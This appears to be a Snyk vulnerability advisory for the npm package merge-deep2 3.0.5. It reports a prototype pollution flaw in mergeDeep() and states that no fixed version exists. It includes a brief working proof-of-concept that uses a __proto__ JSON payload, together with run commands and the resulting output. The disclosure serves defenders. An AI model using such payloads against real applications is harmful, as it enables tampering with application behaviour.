merge-deep2@3.0.5 vulnerabilities

Recursively merge values in a javascript object.

Direct Vulnerabilities

Known vulnerabilities in the merge-deep2 package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

merge-deep2 is a Recursively merge values in a javascript object.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDeep() function.

##PoC

// Create the following PoC file:
// PoC.js
var mergeDeep2 = require("merge-deep2")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
mergeDeep2({}, JSON.parse(malicious_payload), true);
console.log("After : " + {}.polluted);

// End of file

// Execute the following commands in the terminal:
npm i merge-deep2 # Install affected module
node PoC.js # Run the PoC

// Check the Output:
"Before : undefined"
"After : Yes! Its Polluted"

How to fix Prototype Pollution?

There is no fixed version for merge-deep2.

*